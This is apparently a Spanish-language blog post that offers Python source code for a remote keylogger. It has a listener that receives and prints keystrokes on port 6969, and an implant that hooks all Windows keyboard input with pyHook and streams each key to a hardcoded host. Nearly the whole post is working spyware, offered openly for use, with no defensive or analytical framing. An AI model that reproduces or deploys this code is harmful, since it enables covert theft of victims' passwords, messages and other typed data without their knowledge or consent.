cliente
server keylogger
''' by: hackloper skype:hackloper twitter: @hackloper youtube: https://www.youtube.com/user/hackdeveloper tuenti: hackloper gmail: hackloper.soporte@gmail.com ''' from __future__ import print_function import socket,time,sys class client: def __init__(self): while True: try: self.s = socket.socket(); self.s.bind(("",6969)); self.s.listen(1); print('esperando conexion...'); self.sc, self.addr = self.s.accept(); except: try: self.sc.close(); except: pass self.s.close(); time.sleep(3); print("reconectando..."); time.sleep(3); try: self.sc; except: continue try: self.bucle(); except: print("\nconexion perdida"); self.sc.close(); self.s.close(); def bucle(self): print('conectado \n\n'); while True: data = self.sc.recv(1024); if data == 'Rback': sys.stdout.write('\b'); sys.stdout.write(' '); sys.stdout.write('\b'); else: print(data,end=''); if __name__ == '__main__': c = client();
server keylogger
''' by: hackloper skype:hackloper twitter: @hackloper youtube: https://www.youtube.com/user/hackdeveloper tuenti: hackloper gmail: hackloper.soporte@gmail.com ''' import pyHook, pythoncom, socket,time class conexion: def __init__(self): self.conex(); self.manager = pyHook.HookManager(); self.event = event(self,self.manager); def conex(self): while True: try: self.socket = socket.socket(); self.socket.connect(("127.0.0.1",6969)); break except: self.socket.close(); time.sleep(3); #print('conectando'); continue def send(self,data): self.socket.send(data); class event: def __init__(self,c,m): self.c = c; self.manager = m; self.manager.KeyDown = self.send; self.manager.HookKeyboard(); def send(self,evento): tecla = evento.Key; alt = evento.Alt; try: asci = evento.Ascii, chr(evento.Ascii); except: pass try: if alt == 32: if asci[0] == 0: pass else: self.c.send(str(asci[1])); elif tecla == 'Lshift': pass elif tecla == 'Back': self.c.send(str('Rback')); elif tecla == 'Delete': pass #print tecla; else: #print asci; #print tecla; self.c.send(str(asci[1])); except: pass return True if __name__ == '__main__': con = conexion(); pythoncom.PumpMessages();
0 comentarios:
Publicar un comentario